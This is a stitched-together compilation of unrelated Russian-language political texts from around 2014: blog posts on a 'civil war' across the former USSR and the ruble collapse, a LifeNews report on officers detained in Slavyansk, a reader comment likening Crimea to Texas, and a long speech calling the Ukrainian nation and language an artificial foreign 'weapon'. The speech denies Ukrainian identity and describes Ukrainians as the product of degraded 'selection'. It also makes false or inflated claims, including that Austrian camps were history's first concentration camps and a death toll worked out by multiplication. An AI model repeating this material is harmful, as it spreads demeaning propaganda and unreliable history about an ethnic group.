«Правого сектора»), воевавшие на Кавказе против России еще в 90-е (я уже молчу, что последние события раскололи украинское общество отнюдь не по национальному признаку). Две «Чечни», воюющие сейчас на Украине по обе стороны линии фронта. Примеров масса. И все они об одном. По всей территории бывшего СССР пролегли линии фронта, которые, иногда незримо, разделили бывшие народы некогда единого пространства на два лагеря. Лагерь восстановителей империи. И лагерь расчленителей империи, в который не случайно вошли практически все националистические движения. Примечательно, что либеральные «течения», которые должны быть, по сути, объединяющим началом, всегда принимали сторону разъединителей — националистов (даже в 90-е в Чечне, что смотрелось совсем противоестественно, но логично). Поэтому, когда сейчас пишут о странном медийном единении «либералов» и националистов (украинских, русских и т.д.), я прошу вспомнить первую чеченскую. Вы видите разницу? Я нет. Потому это все противоестественно (если читать классику), но вполне закономерно, если посмотреть, кто создавал как одних, так и других. Это два фронта одной гражданской войны против евразийской империи, которая сейчас в муках нарождается, перемалывая в себе остатки либерализма. Я как украинец вам скажу так. Либерализма у вас в России по сравнению с Украиной почти нет. Разница колоссальна, но вам, россиянам, чтобы это понять, надо бы пожить годиков несколько на Украине. Не сейчас, конечно. Я сам иногда поражаюсь той «совковости» (в хорошем смысле), которая в вас осталась и которая в вас культивируется нынешней властью (мне со стороны это видно). Для чего я все это говорю? Я говорю для того, чтобы все поняли, что нет на Украине «ватников», «укров», новоросцев, украиноединщиков. Есть «имперцы» и «раскольники». Есть силы, которые пытаются воссоздать империю и которые пытаются этому помешать. И создание «Украины не России», «Новороссии», ЛДНР (в случае с Украиной) — это не ценности сами по себе, а всего лишь удобные личины этих процессов. В конечном итоге цель у имперцев одна — восстановление империи. У противников тоже — не допустить этого. Гражданская война сейчас проходит и через каждого из нас. Да, она идет и в России на 145 миллионах (примерно) маленьких фронтов, как и на Украине на 42 миллионах (или сколько там осталось?) таких же фронтов. Победа на каждом приближает или отдаляет общую цель. Потому, что в конечном итоге победа или поражение будет одна(о) на всех. П.С. И еще хочу сказать пару слов кровожадным идиотам (ублюдкам, не подберу другого слова) по обе линии фронта. Уничтожить (физически) в этой войне всех своих противников (а по бывшему СССР их сейчас несколько десятков миллионов) вам не удастся (ни тем ни другим). Этого не удалось даже Гитлеру, а он был еще тот фашист. И самое главное, что призывая к этому (убивая дракона) вы сами становитесь фашистами (драконом). Потому я боролся, борюсь и буду бороться с любым фашизмом: украинским, американским … или русским. Мне без разницы. В политике простые решения практически всегда ошибочны. К ним всегда подталкивают (обычно при помощи эмоций) противную сторону, чтобы она совершила роковую ошибку и ПРОИГРАЛА. yurasumy.livejournal.com Доверие Рационально мыслящие люди на волне происходящих вчера-сегодня событий пытаются найти некие рациональные объяснения происходящему. Что понятно — в противном случае придется признавать либо диверсию, либо слабоумие. Во что верить не хочется до последнего. Тем не менее, рациональные объяснения в складывающейся ситуации выглядят малоубедительными. Просто потому, что не сжигают дом, пытаясь вывести мышей — слишком неадекватными выглядят методы решения проблемы самой проблеме. Рубль, как и флаг, гимн, герб — это символ государства. Символ — всегда понятие в какой-то степени эзотерическое и иррациональное. Основанное на безусловном доверии. Моя страна права потому, что она моя страна — вот примерная логика доверия. Никакими рациональными мотивами подрыв доверия к собственной валюте объяснить невозможно. Если финансисты и производственники еще способны относительно холодно оценить происходящее, то население — нет. По определению. Оно и не должно оценивать, оно либо верит, либо нет. Обрушение национальной валюты неизбежно приведет (да, по всей видимости, и привело) к панике среди тех, кто небезосновательно подозревает государство в очередном грабеже. За последние два десятилетия сбережения людей дважды досуха обчистили эффективные управляющие страной, так что опыт имеется. Поэтому никакие заклинания работать в нынешней ситуации не будут — население, утратив доверие, неизбежно будет пытаться спасти то, что у него еще есть. Нести деньги в банки даже под ставку в 20% годовых, когда за день рубль проседает на 10-15%, дурных нэмае. Скорее, наоборот — будут снимать и покупать доллары. Запуская тем самым самоподдерживающийся процесс. Поэтому поверить в хладнокровную операцию по наказанию спекулянтов или по решению каких-то важных задач типа выкупа долей иностранцев в наших активах на упавшем рынке можно — но не в такой ситуации. Цена слишком велика. Про ипотеку при ставке ЦБ 17% можно забыть, про кредиты предприятиям — тоже. «Роснефть» уже заявила, что брать рубли в долг при таких ставках она не будет. Кредитоваться в таких условиях могут только производители героина — да и то, крепко подумав. Уже обсуждается падение производства в следующем году на 4-5%, инфляцию в две цифры до запятой и все остальные предсказуемые последствия. И все это — в предвоенной обстановке. Неважно, глупость или органические заболевания мозга стали причиной провала правительства, ЦБ и президента. Важно то, что все происходит строго в соответствии с методикой современной войны, когда противник должен быть поставлен перед экономической, финансовой, социальной катастрофой, утратой доверия к власти, затем перед терактами, нападениями диверсионных групп, авариями и катастрофами (рукотворными или не очень) — и, наконец, попытками бунта, госпереворота, который и завершатся вводом оккупационных войск. Во всяком случае, впавшая с весны в кому российская власть продолжает пребывать в состоянии клинической смерти, которое кто-то скорбный умом принимает за «грозное русское молчание». Легко насмехаться над глупцами Януковичем, Каддафи, Милошевичем, Саддамом, которые не смогли, не захотели или не додумались. Трудно признать, что ты сам ничем не отличаешься. Поэтому и приходится молчать или выпускать вперед себя петрушек-исполнителей. Вся вина которых заключается в том, что они всего лишь никто и звать их никак. Хотя до недавнего времени это было их главным достоинством.

Источник: http://news-mail.by/2014/12/16/gibridnaya-grazhdanskaya-vojna/#more-10035
© NEWS-MAIL.BY

Ополченцы заявили о задержании восьми разведчиков стран НАТО По словам "народного мэра" Вячеслава Пономарева, в Славянске под прикрытием миссии ОБСЕ действовала группа кадровых офицеров разведки.

Здесь было виде об описываемых событиях..СМ в" моем видео "



Среди задержанных в Донецкой области были кадровые офицеры разведок Германии, Дании, Болгарии, Чехии и Польши. Об этом заявил "народный мэр" Славянска Вячеслав Пономарев. По его словам, эти люди действовали под прикрытием миссии ОБСЕ. Вместе с ними были задержаны украинские военные, в том числе полковник Генштаба Вооруженных сил Украины, чье имя Пономарев не называет.

– Миссия ОБСЕ не может проводиться кадровыми военными. У этих людей помимо военных знаков отличия были обнаружены карты с отметками всех блокпостов, что является доказательством их разведдеятельности под прикрытием миссии ОБСЕ, – говорит Пономарев. – Кроме того, при обыске у них были обнаружены экспансивные боеприпасы, использование которых запрещено во многих странах и которыми пользуются боевики "Правого сектора".

По словам "народного мэра", в ближайшее время будут установлены личности всех задержанных и будет проведена проверка правомерности действий заграничных гастролеров. 

– Такие люди проникают в город для того, чтобы устроить диверсии. Хунта завралась до такой степени, что не знает, что еще придумать. Их комментарии безумны. Лучше бы они писали фантастические книжки, – подчеркнул Пономарев.

Ранее он же сообщил, что в городе народные ополченцы задержали 40 украинских диверсантов и, что поведение наблюдателей ОБСЕ вызывает вопросы.

В самой организации сообщили, что люди, находившиеся в захваченном в пятницу автобусе в Донецкой области, не имеют отношения к наблюдателям ОБСЕ.

"Все члены специальной наблюдательной миссии ОБСЕ и миссии наблюдателей на выборах находятся в безопасности, никто не пропал", – говорится в сообщении организации в "Твиттере".

Однако в том же микроблоге организации отмечается, что 25 апреля в Славянске была задержана "военная верификационная миссия", "прибывшая по приглашению властей Украины в соответствии с Венскими договоренностями 2011 года".
http://lifenews.ru/news/132062

ОБСЕ отмечает, что была задержана военная верификационная миссия, "прибывшая по приглашению властей Украины в соответствии с венским документом 2011 года". В нее входят восемь человек: четыре гражданина Германии и по одному представителю из Чехии, Дании, Польши и Швеции "Они не наблюдатели ОБСЕ, а направлены странами ОБСЕ в рамках Венского документа", - пояснили в организации
Но зачем они приехали в Славянск если приглашены в Киев??.

Ответить

На заре своей независимости США состояли лишь из тринадцати штатов, которые образовались из британских колоний. После провозглашения независимости им пришлось дважды воевать с Великобританией в Войне за независимость и в Войне 1812 г.. Согласно Парижскому мирному договору 1783 г., Великобритания официально признала независимость США, но до окончания второй англо-американской войны в 1815 г. ещё продолжала оказывать поддержку союзным индейским племенам, сопротивлявшимся армии США.
Сразу по окончании Войны за независимость началась экспансия Соединённых Штатов в западном направлении, поддерживавшаяся верой американцев в Явное предначертание, согласно которому Бог предопределил существование в Америке их государства на территории от Атлантического океана до Тихого. Основная территория США сложилась к 1912 г., когда в их континентальной части образовался последний штат, Аризона.
   В начале 19 векаТехас..являющийся территорией Мексики стал осваиваться переселенцами из США..В 1823году была образована колония из 300 американских семей..К середине 1830 годов в пограничном с США мексиканском штате Техас проживало  более 30000 американцев переселившихся сюда из за дешевизны земли .В Мексике было запрещено рабство и в 1830 году мексиканский Конгресс запретил дальнейшую иммиграцию  из США.. недовольство местных жителей послужило поводом к обьявлению Независимости   в результате чего в 1835 году началась война между Мексикой и Техасом.В 1836 году техасцы под руководством Хьюстона выиграли определяющее сражение и Мексика признала независимость республики Техас.США официально в войну не вмешивалось но отношения Мексики и США были настолько  недружественными что началась   Американо- мексиканская война 1846-48 гг  которая  полностью подавила территориальные претензии Мексики.Техас отделился от Мексики ..изначально имея намерения стать частью США.В 1845 году США аннексировали(присоединила в одностороннем порядке) Техас. По результатам войны..согласно договору Гуадалупе-Идальго Мексика ТАКЖЕ УСТУПИЛА США половину своей территории : Новая Мексика..Верхняя  Каледония..Аризона ..Колорадо..Невада..Юта..В качестве оправдания перед историей американцы приплатили мексиканцам пару млн долларов --это мол не  насилие .. а бизнес.
                   Таким образом..В мексиканском Техасе большинством стали американские переселенцы..которые и решили судьбу не только штата Техас но и попутно др территорий в придачу..
       Усматривается некоторая похожесть в событиях происходящих  на Украине - но имеются и существенные отличия  : Крым действовал также как Техас--НО НЕ БЫЛО ВОЙНЫ.. им можно - нам нет..Техас исконно был мексиканским-КРЫМ и ЮГО ВОСТОК- ИСКОННО РУССКИМ.Мексиканцы противостояли американцам- В Украине : русские против русских...в Америке вопрос решался самими противостоящими странами-в нашем случае куча недружественных стран СУЮТ НОС НЕ В СВОЕ ДЕЛО..
ИВАНОВ И.

редлагаю вашему вниманию обзор политического оружия массового поражения, изобретённого целенаправленно против нас, испытанного на нас и стреляющего в нас до сих пор. Только понимание его природы может помочь Русскому Миру, спустя 100 лет, наконец, найти методы защиты от этой смрадной чумы.

Добрый день, уважаемые братья!

Не смотря на то, что сегодняшняя конференция приурочена к праздничной и, в общем-то, великой дате (годовщине Первого Великого Воссоединения русского народа, которым, собственно, и являлась Переяславская рада), конкретный повод для нашей встречи, в общем-то, довольно скорбный: преодоление того жуткого раскола, который сейчас переживает наша нация. Сейчас она разделена на русских, «украинцев» и «белорусов». Источник наших бед, я уверен, во многом проистекает именно из этого – из нашего разделения. Потому, что свободными можно быть только вместе. Порознь можно быть только рабами. Но для того, чтобы преодолеть и сам этот раскол, и его последствия, необходимо, как минимум, понимать одно: КАК ЭТО МОГЛО СЛУЧИТЬСЯ? Что вообще произошло? Именно это я и попытаюсь осветить в своём сегодняшнем докладе: заглянуть в корни проблемы, осветить её причины и движущие силы произошедшего. А так же конкретные механизмы и технологии. Так как, вне всякого сомнения, и «независимая Украина» и отдельная «украинская нация» это:

- во первых, проект;
- во-вторых, пример применения политического оружия массового поражения.

И когда я об этом говорю, я не преувеличиваю, не утрирую, не говорю образно. Я говорю буквально. Т.н. «украинский проект» с самого начала был оружием против всего русского мира. Именно как оружие он и задумывался, и разрабатывался, и применялся. Более того, технологии, обкатанные в ходе его развития, потом применялись неоднократно и не только против России. Хотя, в основном против неё, конечно. И продолжают применяться до сих пор. Но об этом мы сегодня ещё поговорим. А пока обратимся к истории вопроса.

Начнём с того, что, вопреки утверждениям бандеровцев всех мастей, а так же их спонсоров и кураторов, ни о какой ДРЕВНЕЙ истории «украинства» не может быть и речи. Создание «украинцев» началось совсем не так давно. Именно создание, потому, что это - искусственный конструкт от начала до конца, с искусственно созданным языком, искусственно скроенной "независимой культурой" и искусственно составленной историей. Я хочу, чтобы все понимали: «украинский проект» делала его история. Делали его конкретные люди с конкретными целями. Этому проекту всего-навсего 150 лет. Полтора века, не больше. И все прочие утверждения – это ложь и чушь чистой воды.

Чтобы вам было более понятно, что же именно было сделано, немного теории. Дело в том, что любая нация – это не монолит. И не только нация. Даже любое большое племя где-нибудь в Африке – не монолит. Везде и всегда существуют отличия между отдельными частями этнического сообщества. У племени разные деревни, в которых члены этого племени живут, чем-то друг от друга отличаются. Отличия эти могут быт продиктованы ландшафтом или локальной историей – это не важно. Важно то, что они есть всегда. А у больших этносов всё гораздо сложнее. Они практически всегда состоят из разных частей – субэтносов. И причины те же самые. Например, одна часть нации какое-то время жила под чужой оккупацией, другая часть живёт в горах, третья – на морском побережье, четвёртая живёт возле границы с исламским миром и из-за этого чаще других воюет. Это диктует разный образ жизни, разные ремёсла, разное краеведение (локальную историю). А чего хочет любой враг любой нации прежде всего? Правильно: он хочет её разобщить. Разобщённую нацию победить легче. «Разделяй и властвуй» - древнейший политический принцип со времён Древнего Рима. Но если раньше использовались более примитивные технологии такого разобщения (перессорить феодалов, посеять смуту между провинциями и столицей, раздуть политические и экономические споры), то в этот раз была задействована куда более продвинутая технология: ПОДРЫВ САМОГО ЭТНИЧЕСКОГО ЕДИНСТВА. И удар был нанесён именно в один их этих субэтнических швов.

              Любая нация – это некое этническое единство. И любую нацию объединяют три группы признаков. Прежде всего это признаки фенотипические: цвет кожи, форма глаз, цвет волос. В общем, всё, что касается общих генов. И, естественно, по этому направлению работать им было сложнее всего: русские из разных частей России, конечно, несколько отличаются друг от друга (что совершенно нормально в рамках любой большой этнической популяции), однако не настолько. Следующая группа признаков – этатическая. От французского «État» - государства. Это совместное коллективное культивирование неких «священных камней»: общая история, общая религия, общие предки. И, далее, собственно, этническая группа признаков – это культура и язык. Именно две последние группы признаков стали главными ударными точками «украинского проекта». Ну, культура - понятие сложное и весьма философское. Спорить о народных песнях, народной кухне и особенностях национального костюма (чаще всего продиктованных разными климатическими поясами огромной страны), конечно, можно, но вряд ли это будет очень продуктивно. По поводу религии - направление перспективное, но слишком тяжёлое. Хотя, определённые действия предпринимаются и в её сфере тоже. Но здесь инерция настолько велика, что рассчитывать на откол территориально сосредоточенной части нации на этой основе тогда, когда начинался «украинский проект», было невозможно. Основной удар был нанесён по истории и языку.






С историей работать всегда было проще всего: историки – народ продажный, а очевидцев уже не спросить. Но одной истории мало. Слишком мало для того, чтобы доказать одной части народа, что она не имеет отношения к другой его части. И тогда атакуется язык. На самом деле, создать на ровном месте очередной "самостiйный" новояз не так уж и сложно. Когда нация огромна и территория огромна, то неизбежно, что в разных её частях будут говорить на отличных диалектах. И вот теперь мы переходим к сути сегодняшнего вопроса: как это началось. У любого проекта есть свой автор. Был он и у «украинского проекта». Даже имя его известно: некий Павло Свий. Самое интересное, что он даже не был малогосом. Он был поляком. И настоящее его имя было: Павлин Стахурский-Свенцицкий. А если точнее: он был дико озлобленным на Россию польским сепаратистом, участником одного из провалившихся восстаний польской шляхты, который после разгрома мятежников, убежал в Австро-Венгерскую Империю. Где получил «политическое убежище» и «вид на жительство». Вообще, наши внешние враги всегда пригревали врагов внутренних. Это нормальная здравая политика, винить их за это не надо, а надо кое-чему у них поучиться, чтоб не повторять собственных ошибок. Так вот фактический отец "украинского проекта" именно так и действовал – он начал составлять словарь "украинского языка", в ходе чего целенаправленно увеличивал различия и вводил в обиход другие буквы. Вот, что пишут об этом незаслуженно забытом деятеле:

"Термин "украинский" вместо "малорусский" не был в Галицкой Руси известен до 1863 года. Его принес к нам польский повстанец Павлин Стахурский-Свенцицкий (Павло Свий), получивший от тогдашнего наместника Галичины, графа Агенора Голуховского, место преподавателя малорусского языка в академической гимназии во Львове. Этот Стахурский-Свенцицкий усердно распространял среди галицко-русской молодежи украинофильский сепаратизм и фонетическое правописание и пытался ввести употребление латинских букв вместо русских. Эту пропаганду вел Стахурский-Свенцицкий не только во время преподавания в гимназии, но и в издаваемом им журнале "Siolo", в заголовке которого значилось, что он "poswizcony rzeczom ludowym ukrainsko-ruskim". Таким образом, Стахурский-Свенцицкий первый в Галицкой Руси употребил термин "украинско-русский", ввиду чего он, польский революционер, является духовным отцом нынешних галицких "украинцев"." (с).

Это был обычный злобный образованец, практически городской сумасшедший, но получивший поддержку и финансирование. Кстати говоря, если вы считаете, что Павло Свий был такой один – вы ошибаетесь. Вообще польский след в этой истории очень значителен. Именно они, бывшие хозяева «белых рабов» из Речи Посполитой, первыми задумались об этом всерьёз. Причём, можно даже обозначить приблизительную точку отсчёта: польское восстание 1863 года. Которое с треском провалилось. В ходе этого восстания поляки пытались взбунтовать и малороссов тоже. Под идеи «великой Польши», видимо. Но были ими посланы, после чего и начали питать такие идеи. Польский генерал Людвик Мерославский тогда написал следующее:

«Бросим пожар и бомбы за Днепр и Дон – в сердце России. Пускай он уничтожить ее, раздуем ненависть и ссоры в русском народе. Русские будут рвать себя собственными когтями, а мы будет расти и крепнуть» (с).



Ни на какие мысли не наводит? Это же, практически, схема всех последующих действий тех, кто начинал подобные спецоперации против Русского Мира. Разумеется, он говорил не о буквальных бомбах, а о бомбах особого рода. Идеологических. Экзистенциальных. О бомбах нового поколения. Которые и начал конструировать Павло Свий.

За его самодеятельностью, к нашему огромному сожалению, тогдашние австро-венгерские спецслужбы разглядели огромные перспективы. Нельзя сказать, что за «украинский проект» ухватились сразу. Но сделано это было довольно быстро. И весьма технично. Они увидели магистральное направление и пошли по нему очень уверенно. Павло Свий начал с украинско-русского словаря. А те, кто перехватил у него новое политическое оружие, зашли с другого бока: они начали делать «украинство» модным. И ориентировались при этом на две «целевые группы», как сказали бы сейчас: на молодёжь и на интеллигенцию (куда ж без неё).

Фактически, они сыграли на тогдашней моде на всё народное. И, во многом, смогли опереться даже на специфические круги интеллигенции из Санкт-Петербурга и Москвы, которая находила это «милым» и «забавным». Чего такие «милые забавы» могут стоить, никто из них тогда не подозревал. Эта самая интеллигенция с упоением ухватилась за новый модный тренд. Что б вы понимали, чем именно тогда всё это для них являлось, можно сравнить тогдашний новоявленный «украинский язык» с нынешним «олбанцким»: «кроссафчег», «аффтар жжот», «ржунимагу». Это действительно очень весело. Но только если не переводить такой дискурс в русло политической серьёзности. А грань найти очень тяжело. Ведь и молодёжь подхватывает и интеллигенция развлекается. Вот, к примеру, т.н. «украинский писатель» Котляревский, который написал очень «прикольную», «гламурную» и, местами, весьма похабную поэму «Энеида». Такой своеобразный литературный «прикол» и «стёб», который теперь считается, ни много, ни мало, первым литературным произведением на «литературном украинском языке». Это всё равно, что начать сейчас строить в ближнем Подмосковье страну «Олбанийу» и в качестве её культурного наследия взять набор текстов с сайта udaff.com
И вот с таким замечательным бэкграундом хитрая Австро-Венгрия начала вести свою новую национальную политику на востоке собственной Империи. Микроскопические кружки «украинствующей» молодёжи и интеллигенции стали получать поддержку и финансирование. И разговор с ними шёл в очень знакомом идеологическом ключе: «Вы – это не русские. Русские – вшивые азиаты и метисы татар с угрфинами. А вы – гордые украинцы, представители просвещённого, угнетённого и, главное, совершенно отдельного народа. Цивилизованная Европа только и ждёт того, чтоб заключить вас в свои общечеловеческие объятия, принять в семью просвещённых европейских народов. От вас только и требуется, что отказаться от своей ложной русскости. Отрекитесь от этих азиатов и будет вам счастье». Знакомые речи, не так ли? Ведь на нынешних майданах, по сути, звучит то же самое.

А ещё усиленными темпами начала создаваться новая эстетика. Да, авторы и реализаторы «украинского проекта» были весьма талантливыми врагами. Пошла фетишизация всех этих «рушников», «вышиванок», «бандур» и прочих атрибутов сельской жизни а-ля «украинское село». Причём, доходило до абсурда. Вы, к примеру, в курсе, что все эти «кафтаны запорожских казаков» были прилежно скопированы с кафтанов тогдашних панских холопов, которых тогда было принято «наряжать казаками». Польские и галицкие паны тоже были не чужды моде. А как выглядели настоящие запорожские казаки тогда никто не знал. Весь этот «казачий стиль», знакомый каждому из нас теперь – это откровенный китч 19 века. Подделка. Очень вычурная и безвкусная, как и любой другой китч. Вот такими методами и создавалась «новая украинская эстетика».

Длилось это долго и не особо эффективно. К началу I Мировой Войны на территории Галицкой Руси (которая, собственно, и находилась под австро-венгерским игом и на территории которой шёл «украинский эксперимент») создались не слишком многочисленные "украинские общества", представлявшие из себя нечто вроде "собраний любителей вышиванок". Никакой политической силы они не представляли, на выборах проигрывали и корней в том самом «простом народе», под который усиленно косили всей своей «эстетикой», практически не имели. Простые люди продолжали считать себя русскими и даже тогдашнее Греко-католическое духовенство полностью разделяло эту позицию. Во Львове все вывески были на русском языке и ни о какой «самостийной мове» даже речи не шло. В это сейчас трудно поверить, но сохранились фотографии и даже кинохроники. "Украинствующим" безумием тогда в любой степени было охвачено максимум процентов 10 населения. И это в Галиции! И это не смотря на полувековые старания австрияков. Но потом грянула I Мировая Война. И от мягких уговоров австрияки перешли к террору. А фактически: к широкомасштабной этнической чистке всех, кто не хотел становиться "украинцами".


Позицию австрияков тогда чётко и внятно выразил комендант г. Львова генерал-майор Римль:

"Русские - это государственные изменники. Всех их следует, не содрогаясь, уничтожить. Друзьями Австрии могут быть только украинцы. Исправить русского без применения террора невозможно" (с).

И сами т.н. «украинцы» активно эту мысль подхватили. То, что начало происходить на территории Галицкой Руси в первые годы войны, можно охарактеризовать двумя словами.

Во-первых, это был геноцид. В сжатые сроки по всей территории Австро-Венгрии было создано до 30 концлагерей «только для русских». Это были первые концлагеля в истории, кстати говоря. Все последующие были так или иначе срисованы с них. Самыми зловещими из них были Талергоф и Терезин. И загоняли в эти концлагеря людей только за то, что они русские: говорят по-русски и называют себя русскими. Причём, репрессии мгновенно приобрели характер истерики. Один из типичных случаев: когда 11-летнего мальчишку по имени Савка только за то, что он публично сказал, что является русским, схватили, приволокли в полицию, избили и отправили в Терезин, где ребёнок и сгинул. Сколько людей пострадало во время этого геноцида, сам факт которого тщательно замалчивается 100 лет? По официальным данным: 120 000 убитых и покалеченных и ещё 100 000 беженцев. Но то по официальным. А вот простая арифметика говорит о другом. Концлагерей "только для русских" было около 30. При этом, через один Талергоф прошло 30 000 человек. И около 15 000 - 20 000 через Терезин. А теперь давайте просто перемножим цифры. В итоге, даже с учётом неравномерности распределения людей по этим лагерям, лично у меня самая скромная цифра выходит в полмиллиона человек. А миллиону я тоже не удивлюсь. Совсем не удивлюсь: немцы - народ способный. О чём вообще можно говорить, если к моменту начала гражданской войны в России в русском городе Львове русских практически не осталось вовсе. По свидетельству очевидцев, Львов к тому моменту «был населён поляками и евреями». А куда делись русские? Совершенно аналогичный вопрос можно задать по поводу современной Чечни и русского города Грозного: где русские? А в ответ тишина. Потому, что ответ один и тот же.

Во-вторых, помимо геноцида преследовалась ещё одна цель: СЕЛЕКЦИЯ. Возможно даже неосознанно, но чётко. Для того, чтобы спираль русского геноцида и форсированной украинизации Галицкой Руси раскручивалась более ладно, австро-венгерскими властями были задействованы и трепетно культивировались самые мерзкие, самые подлые, самые низкие человеческие стороны. С самого начала за доносы на русских соседей начали выплачиваться вполне приличные деньги: доносительство поощрялось всячески и оно просто захлестнуло Галицкую Русь. Кроме того, с самого начала было объявлено, что стоит персонажу записаться «верноподданным украинцем», как он мгновенно будет избавлен от любой угрозы репрессий. И то же самое происходило в концлагерях: запишись «украинцем» и ты свободен. Казалось бы, что может быть проще: просто плюнь на своих предков, отрекись от своей нации и всё у тебя будет хорошо! Підеш до дому, до хати, к жiнке і свиням. Всего лишь продай душу. ПРОСТО ПРЕДАЙ. Это же так легко. И многие предавали. Но большинство-то - нет! Вот что самое потрясающее для нас нынешних. Люди предпочитали умереть, но не отказаться от того, что они - русские. И умирали. А новоявленные "украинцы" выживали. В итоге количество этих самых "украинцев" за несколько лет войны подскочило в разы. Официальных. По документам. А кое-кто не уходил. Кое-кто переходил в разряд надзирателей. И это потом стало "хорошей традицией" всех бандеровцев. А были ещё лагеря для военнопленных, в которых и вовсе тоже самое творилось ещё более жёстко и брутально: пленных из Малороссии строили и требовали сделать выбор. И тех, кто назывался русским, сразу же расстреливали. Причём, бывали случаи, когда эту "благородную миссию" предоставляли их бывшим боевым товарищам, решившим "выжить" таким образом. Тем, что стали "украинцами". И потом самих этих новоявленных "украинцев" переводили на более лёгкий режим содержания: лучше кормили, лучше одевали, относились почти как к родным. Вот оттуда через несколько лет и взялись все эти петлюровцы. Все эти "новые украинцы". Вся эта "украинская нация". А вот теперь представьте, какого рода человеческий материал получился в результате такой селекции? Что это была за новоявленная «украинская нация». Выводы здесь очевидны.

Но это всё было только началом. Потом Российская Империя начала рушиться, большевики подписали «Брестский мир» и в игру включились немцы, которые тоже оценили «украинский проект» по достоинству. Оккупируя территорию Малороссии они хотели получить там силы, лояльные к оккупантам. И ещё в ходе переговоров в Брест-Литовске они заключили с украинствующими (которые к тому моменту весьма усилились) своего рода негласное соглашение: поддержка в обмен на лояльность. И занялся этим начальник немецкого штаба Восточного фронта генерал Макс Гофман, фактически руководивший делегацией немцев. Причём он сам никогда не скрывал, что всю эту «украинскую государственность» создал он, а ни какое ни «народное устремление». В 1919 году в интервью газете «Daily Mail» он так прямо и сказал:

«В действительности Украина — это дело моих рук, а вовсе не плод сознательной воли русского народа. Я создал Украину для того, чтобы иметь возможность заключить мир хотя бы с частью России» (с).



Что самое интересное: идеологи тогдашней петлюровщины были совершенно с ним согласны и никак не пытались этого скрыть. Весной 1918 года, после того, как немцы выбили большевиков из Киева, ни кто-нибудь, а Михаил Грушевский (тот самый, что состряпал «украинскую историю» и был одним из главных деятелей политического сепаратизма) в интервью сотрудникам издательства “Відродження” очень здорово разоткровенничался на эту тему:

«В немецких политических кругах было давнее желание, чтоб Украина превратилась в самостоятельную державу. Они считали это выгодным для Германии...» (ЦГАООУ, Ф.5, оп.5-1, ед. хр.78, л.33).

Гражданин прямо признаётся, в чьих это было интересах и при чьей поддержке происходило. А поддержка была широкоохватная. Петлюровцам давали оружие, деньги, оказывали иную помощь. А с учётом того, какую мощную работу до них уже провели австрияки, стоит ли удивляться, что на какое-то время этим гражданам удалось даже овладеть Киевом.

Впрочем, надо отметить, что и Гофман, и Грушевский немного лукавят. Да, без поддержки оккупантов ничего бы у них не вышло. Но правда же в том, что когда немцы пришли в Малороссию, петлюровцы там уже были. Откуда ж они взялись?

Дело в том, что чуть раньше активно на стороне «украинствующих» сыграло временное правительство в Санкт-Петербурге, а так же его эсеровско-меньшевистский бэкграунд. Об этом сейчас мало кто говорит, но именно эсеры и меньшевики являлись изначально архитекторами федерализации России по национальному признаку. Как минимум стоит сказать о том, что меньшевиком был Петлюра. Тот самый. И когда никем не избранная т.н. «Центральная рада», пользуясь хаосом, наступившим в период феврализма, начала издавать «универсалы» о независимости и требовать создания «этнических украинских военных частей», то вместо того, чтоб разогнать этих самозванцев, временное правительство прислало в Киев делегацию, членами которой, ни много, ни мало, были Керенский, Церетели и Терещенко. И эта делегация, мало того, что заявила, что «не будет возражать против автономии Украины», так ещё и дала понять, что и против «этнических» воинских формирований возражать не будет. В итоге Петлюра и создал те самые несколько подразделений, что после стали костяком всего петлюровского движения. И вот только после этого пришли немцы. С которыми у «украинствующих» с самого начала была любовь и полное взаимопонимание на почве ненависти к москалям.



Но в период гражданской войны в России петлюровцев всё ещё было мало. Критически мало. «Украинские» идеи по-прежнему не владели массами. По сути, так разгуляться петлюровцы смогли только потому, что и красные, и белые, и Махно были заняты тем, что пытались загрызть друг друга и никто из них на «украинствующую» сволочь всерьёз не отвлекался. Главный их «прорыв» произошёл уже после гражданской войны. Произошло это следующим образом: большевики, установив окончательный контроль над Малороссией, не нашли ничего лучшего, чем заключить фактический союз с «украинствующими» элементами как в Малороссии, так и внутри собственной партии. И это один из их величайших грехов перед русским народом. Почему так случилось? И вообще., что это было: злой умысел или ошибка? Заговор или недомыслие? Некомпетентность или рассчётливое зло? Я много думал об этом и пришёл к выводу, что всё же это была ошибка. Всего лишь ошибка... Но страшная ошибка, стоившая очень многого. Некоторые считают, что такой шаг новой красной власти был результатом некой её особой злонамеренности против русских. И для таких подозрений поводы, разумеется есть: достаточно вспомнить, что на тот момент в партии большевиков значительную роль играли персонажи вроде Троцкого и Бухарина, бывшие яростными русофобами и сторонниками этнического подавления русских в пользу малых народов. Уже потом, при Сталине, их отстреляли. По своим причинам, конечно, но отстреляли, что на внутренней национальной политике сказалось значительно и практически мгновенно. Но тогда, в начале 20-х годов заказывали музыку в партии именно они. Так что поводы для таких подозрений, конечно есть и я сам бы их разделил, если бы не одно «НО»: этим большевики заложили мощную тикающую бомбу под собственное «государство рабочих и крестьян». Под собственный проект! А злонамеренность, прежде всего, подразумевает понимание последствий. Последствий же большевики не понимали. И стало быть это, всё же, было ошибкой. Страшной ошибкой.

Что же последовало за этим? На первых порах чуть ли не братание с бывшими петлюровцами. Такие граждане, как Винниченко и тот же Грушевский мгновенно переползли к большевикам. Винниченко (бывшая главный идеолог Петлюры) и вовсе какое-то время занимал место заместителя Предсовнаркома УССР. То есть был вторым лицом в республике! Ну, и чем же они занялись? А тем, чем и хотели: украинизацией. Причём, и здесь доходило до абсурда. Чтобы ввести обещанное большевиками «делопроизводство на национальном языке» как минимум необходимо было наличие самого языка. Но выяснилось ужасное: никаких учебников, правил орфографии, исчерпывающих словарей просто нет. Эта сторона их матчасти по-прежнему находилась на уровне Павло Свия с его самопальным эпистолярным творчеством. Так вот для этих целей в Киеве за государственный счёт был открыт целый институт, который только тем и занимался, что, по сути, изобретал новый язык и навязывал его многомиллионному населению республики.



Причём, навязывание шло жёстко. Население обязывали сдавать экзамены. Продвижение по службе приоритетно обеспечивалось «национальным кадрам». И далее по списку. Именно тогда, лет через 10 подобной политики, и начали появляться первые, по-настоящему массовые организации «украинствующих». Конечно же я имею в виду ОУН...

